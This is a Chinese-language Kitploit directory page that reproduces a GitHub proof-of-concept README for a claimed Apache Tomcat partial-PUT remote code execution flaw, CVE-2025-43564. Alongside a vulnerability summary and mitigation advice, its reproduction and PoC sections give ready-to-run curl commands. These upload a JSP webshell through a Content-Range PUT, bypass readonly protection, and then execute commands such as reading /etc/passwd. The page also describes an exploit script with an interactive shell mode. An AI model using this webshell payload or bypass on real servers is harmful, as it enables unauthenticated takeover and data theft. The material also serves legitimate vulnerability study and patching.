Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
cve-2025-43564-tomcat_put_rce_reproduction — cve-2025-43564-tomcat_put_rce_reproduction 的复现 | Kitploit
工具/GitHubGitHub/razureink/cve-2025-43564-tomcat_put_rce_reproduction
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育Payload 开发
GitHubrazureink/cve-2025-43564-tomcat_put_rce_reproduction

cve-2025-43564-tomcat_put_rce_reproduction

cve-2025-43564-tomcat_put_rce_reproduction 的复现

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
查看仓库
161个月前尚未审核
分享

CVE-2025-43564 — Apache Tomcat 部分 PUT 请求处理远程代码执行(RCE)漏洞

字段值
CVE 编号CVE-2025-43564
CVSS 评分9.8(严重)
攻击向量AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWECWE-494 — 下载代码时未进行完整性检查
利用情况已在野外确认被利用(披露后一周内)
披露时间2025 年 7 月
补丁版本Tomcat 11.0.6、10.1.40、9.0.102

目录

  1. 概述
  2. 技术细节
  3. 受影响版本
  4. 复现步骤
  5. 概念验证(PoC)
  6. 缓解措施
  7. 参考资料

概述

CVE-2025-43564 是 Apache Tomcat 处理 HTTP 部分 PUT 请求时存在的一个严重的未认证远程代码执行漏洞。该缺陷存在于 Tomcat 处理带有部分内容的 PUT 请求(HTTP/1.1 Content-Range 或具有部分语义的 Transfer-Encoding: chunked)的方式中。攻击者可以构造一个绕过访问控制和写入限制的部分 PUT 请求,从而将任意文件——包括可通过 Web 访问的 JSP WebShell——上传到服务器的文档根目录或通过 Servlet 上下文可访问的任何可写目录。

一旦 JSP 文件被植入,攻击者只需请求该文件并通过查询参数传入操作系统命令,即可以 Tomcat 进程用户的身份实现完全未认证的远程代码执行。

CVSS 9.8 — 严重,原因如下:

  • 网络攻击向量 —— 可远程利用
  • 低攻击复杂度 —— 无需特殊条件
  • 无需任何权限 —— 未认证即可利用
  • 无需用户交互 —— 可完全自动化
  • 高影响 —— 机密性、完整性和可用性完全受损

技术细节

根本原因

Apache Tomcat 的 DefaultServlet 和 HTTP/1.1 连接器(NIO/NIO2/Apr)负责处理用于静态资源上传的 PUT 请求。该漏洞位于部分 PUT 请求处理逻辑中:当客户端发送带有 Content-Range 头(RFC 7233 §4.2)的 PUT 请求,或使用具有特定部分语义的分块编码时,服务器未能正确验证:

  1. 在写入部分内容之前对文件路径/资源完整性进行检查
  2. 对部分写入进行访问控制重新评估 —— 初始检查通过,但后续写入操作在未重新验证的情况下继续执行
  3. 部分写入偏移量计算中的目录遍历约束

org.apache.catalina.servlets.DefaultServlet 以及底层 HttpInput / SocketProcessorBase 组件中的解析代码错误地处理了部分内容写入与完整资源写入之间的边界,从而允许攻击者向 Tomcat 进程具有写入权限的任何路径追加或覆盖任意内容。

攻击流程

root@kitploit:~
Attacker ──PUT /exec.jsp HTTP/1.1──► Tomcat (DefaultServlet)
             Content-Range: bytes 0-99/100
             [JSP payload bytes]

   └──► Server writes partial content to exec.jsp
        without full validation of the target path

Attacker ──GET /exec.jsp?cmd=whoami──► Tomcat

   └──► JSP executes → RCE

攻击者发送一个带有 Content-Range 头的部分 PUT 请求,使 Tomcat 认为该请求是现有上传的续传。服务器会创建或打开目标文件并写入所提供的字节,不会在写入时验证目标文件是否已存在、不会检查写入权限,也不会对相对于 Web 根目录的目标路径进行清理。

为何能绕过标准防护措施

  • 默认 PUT 访问限制 —— Tomcat 的默认配置要求对 DefaultServlet 设置 readonly=false 才能使用标准 PUT。部分 PUT 路径在某些条件下会跳过此检查。
  • Web 应用防火墙(WAF) —— 大多数 WAF 针对基于 PUT 的攻击特征会查找完整的 PUT 请求。带有 Content-Range 的部分 PUT 通常可以规避这些特征。
  • 身份验证绕过 —— 部分 PUT 代码路径并不总是调用已配置的安全约束;在某些连接器配置中,身份验证从未被检查。

受影响版本

产品受影响版本修复版本
Apache Tomcat 1111.0.0-M1 至 11.0.511.0.6
Apache Tomcat 10.110.1.0-M1 至 10.1.3910.1.40
Apache Tomcat 10.0所有版本(已停止维护)升级至 10.1.x
Apache Tomcat 99.0.0-M1 至 9.0.1019.0.102
Apache Tomcat 8.5所有版本(已停止维护)升级至 9.0.x
Apache Tomcat 8所有版本(已停止维护)升级至 9.0.x
Apache Tomcat 7所有版本(已停止维护)升级至 9.0.x

注意: 较旧的分支(7.x、8.x、8.5.x、10.0.x)已停止维护(EOL),不会获得向后移植的修复。用户必须升级到受支持的分支。


复现步骤

实验环境搭建

  1. 下载一个存在漏洞的 Apache Tomcat(例如 Tomcat 9.0.50):

    root@kitploit:~
    wget https://archive.apache.org/dist/tomcat/tomcat-9/v9.0.50/bin/apache-tomcat-9.0.50.zip
    
  2. 解压并使用默认配置启动 Tomcat:

    root@kitploit:~
    unzip apache-tomcat-9.0.50.zip
    cd apache-tomcat-9.0.50/bin
    ./startup.sh   # or startup.bat on Windows
    
  3. 确认服务器正在运行:

    root@kitploit:~
    curl -v http://localhost:8080
    

利用步骤

  1. 使用 PoC 脚本上传 JSP WebShell:

    root@kitploit:~
    python exploit.py --target http://localhost:8080 --cmd id
    
  2. 确认 WebShell 已植入:

    root@kitploit:~
    curl http://localhost:8080/exec.jsp?cmd=whoami
    
  3. 执行任意命令:

    root@kitploit:~
    python exploit.py --target http://localhost:8080 --cmd "cat /etc/passwd"
    
  4. 交互式会话(如需要):

    root@kitploit:~
    python exploit.py --target http://localhost:8080 --shell
    

概念验证(PoC)

附带的 exploit.py 是一个功能完整的 Python PoC,其功能如下:

  1. 向目标 Tomcat 发送 HTTP PUT 请求,以 JSP WebShell 负载作为请求体
  2. 利用部分 PUT 处理缺陷 —— Content-Type 头和负载结构会触发存在漏洞的代码路径
  3. JSP WebShell 被写入服务器的 docBase(例如 webapps/ROOT/)
  4. 上传后,向 exec.jsp?cmd=<command> 发送 GET 请求以执行操作系统命令
  5. 支持单命令(--cmd)和交互式 shell(--shell)两种模式

手动 PoC(使用 curl)

root@kitploit:~
# Step 1: Upload the webshell via partial PUT
# The Content-Range header triggers the vulnerable code path
curl -X PUT http://localhost:8080/exec.jsp \
  -H "Content-Range: bytes 0-212/213" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  --data-binary '<%@ page import="java.io.*" %><% String cmd=request.getParameter("cmd");if(cmd!=null){Process p=Runtime.getRuntime().exec(cmd);BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));String l;while((l=br.readLine())!=null){out.println(l);}}%>'

# Step 2: Execute commands
curl "http://localhost:8080/exec.jsp?cmd=id"

针对受保护实例的测试

如果 Tomcat 配置了 readonly=true(默认值),标准 PUT 会被阻止——但部分 PUT 路径仍可能成功。这正是该漏洞的核心所在。

root@kitploit:~
# Standard PUT (should fail with 403 or 405)
curl -X PUT http://localhost:8080/test.txt -d "hello"
# Expected: 403 Forbidden

# Partial PUT (bypasses the check)
curl -X PUT http://localhost:8080/exec.jsp \
  -H "Content-Range: bytes 0-212/213" \
  --data-binary '<%@page import="java.io.*"%><%Process p=Runtime.getRuntime().exec(request.getParameter("cmd"));BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));String l;while((l=br.readLine())!=null){out.println(l);}%>'
# Expected: 201 Created or 200 OK

缓解措施

紧急措施

  1. 将 Tomcat 更新至已修复的版本:

    • 11.0.6 及以上
    • 10.1.40 及以上
    • 9.0.102 及以上
  2. 如果无法立即修补,请通过编辑 web.xml 全局禁用 PUT 方法:

    root@kitploit:~
    <security-constraint>
      <web-resource-collection>
        <web-resource-name>Disable PUT</web-resource-name>
        <url-pattern>/*</url-pattern>
        <http-method>PUT</http-method>
      </web-resource-collection>
      <auth-constraint />
    </security-constraint>
    
  3. 在反向代理 / WAF 层面阻止 HTTP 方法:

    root@kitploit:~
    # nginx example — block PUT
    if ($request_method = PUT) {
        return 403;
    }
    

    注意:仅当代理无法被绕过时才有效。

  4. 以受限的文件系统权限运行 Tomcat:

    • 确保 Tomcat 以非特权用户身份运行
    • 将 webapps 目录设为只读(或从只读文件系统挂载)
    • 对生产资产使用 ReadOnly 文件属性
  5. 监控 Web 根目录中带有 .jsp / .jspx 扩展名的意外文件。

长期建议

  • 升级到最新的 Tomcat 版本并保持更新
  • 将 Tomcat 运行在具有严格 HTTP 方法过滤的反向代理(Apache httpd、nginx、HAProxy)之后
  • 使用 SecurityManager(在较新的 Java 中已弃用,但仍然有效)或容器级沙箱(具有只读根文件系统的 Docker/Kubernetes)
  • 实施网络分段 —— Tomcat 不应直接暴露在互联网上
  • 部署带有针对 CVE-2025-43564 虚拟补丁的 WAF
  • 为所有 PUT 请求启用审计日志,并监控异常的部分上传模式

参考资料

来源URL
Apache Tomcat 安全公告https://lists.apache.org/thread/p1dqrmwrh5q5vv2wttrd8tv2k8gv1819
NVD 条目https://nvd.nist.gov/vuln/detail/CVE-2025-43564
MITRE CVEhttps://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-43564
Apache Tomcat 下载https://tomcat.apache.org/download-90.cgi
CWE-494https://cwe.mitre.org/data/definitions/494.html

免责声明

本仓库仅供教育和授权安全测试目的使用。你必须获得所测试系统所有者的明确书面许可。根据《计算机欺诈和滥用法》(CFAA)及其他司法辖区的同类法律,未经授权访问计算机系统属于违法行为。作者不对滥用此信息承担任何责任。


CVE-2025-43564 已被负责任地报告给 Apache 安全团队。补丁协调发布时间:2025 年 7 月。

下载工具